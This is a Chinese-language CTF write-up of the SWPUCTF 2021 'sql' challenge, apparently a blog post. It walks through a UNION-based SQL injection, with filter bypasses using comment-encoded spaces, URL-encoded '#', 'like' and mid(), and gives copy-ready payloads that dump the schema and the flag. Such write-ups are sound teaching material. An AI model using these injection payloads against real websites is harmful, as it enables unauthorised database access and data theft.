[SWPUCTF 2021 新生赛]sql

在学了SQL注入以后就迫不及待地想练练手,发现这一题好像有点难度,就总结一下

首先打开网页,映入眼帘的是我们熟悉的男人——杰哥

但是比起这个,这个信息更吸引我

注意看,这个网页提醒我们,“参数是wllm”。

通过抓包,我们发现这里需要传入GET型参数,那么我们先随便传入一个数字试一试这里显示正常

那么我们先按照正常的步骤操作,再判断有几列,把“wllm=1 order by 4”传进去                          

这里显示出错误,那么我们就要想到是不是联合注入,尝试一下                                                       

这里翻译过来的意思就是“您的 SQL 语法有错误;查看与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行的“1”LIMIT 0,1“附近使用的正确语法”,这里我们起码知道了这是一个联合注入,那么事情就好办了。

这里我们把问题描述直接发给gpt,解释如下

但是,首先,排除1和2,然后想到会不会是后端过滤掉了一些特殊符号,也就是这里的第四条。那么试试,首先把空格替换为“/**/”,结果如下:                                                                                 

这里发现还不行,但是我们这段代码如果有问题就只能是结尾的”#“有问题,它应该也被过滤了,这里我们把”#“替换成“%23”(url编码)试一试                           

这里终于显示出我们所期盼的结果了,依次减少列数,这里就不再演示,列数为3,那么就只需要把模板套进去就行了。首先输入”wllm=0'  union select 1,2,database()“,记得把空格替换成”/**/“以及结尾输入”%23“ 。下面三个查询命令同样如此,不再赘述。                                                                                                         

  这里显示库名称为”test_db“,再输入”“           

wllm=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"                                                                                                                                                                   

但是 这里又出问题了,看了其他大神的解释发现,这里结尾的”=“也被过滤了,那么用”like“替换它,

                                                                                                                                          

这里显示有两个表,很明显我们要查找的表是”LTLT_flag“,再输入”wllm=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name= "LTLT_flag"

然后再输入

wllm=0' union select 1,2,flag from test_db.LTLT_flag

好消息:我们得到了flag,坏消息,这个flag只有一部分,这里我们可以使用right函数。此函数相关解释如下:

先查看该函数是否被禁用,查看一个函数是否被禁用,只需要再url编码后面添加该函数的名字即可

这里发现right函数被禁用。

幸运的是,mid函数为被禁用

那么接下来开始操作 

下面的最终代码可以直接拷贝粘贴,不需要再替换空格之类的

             输入“?wllm=0'/**/union/**/select/**/1,2,mid(flag,1,20)/**/from/**/test_db.LTLT_flag%23”                                                                                                            

再输入“?wllm=0'/**/union/**/select/**/1,2,mid(flag,21,40)/**/from/**/test_db.LTLT_flag%23”

再输入

“?wllm=0'/**/union/**/select/**/1,2,mid(flag,41,60)/**/from/**/test_db.LTLT_flag%23”

把三段字符拼接出来就得到了最终的flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值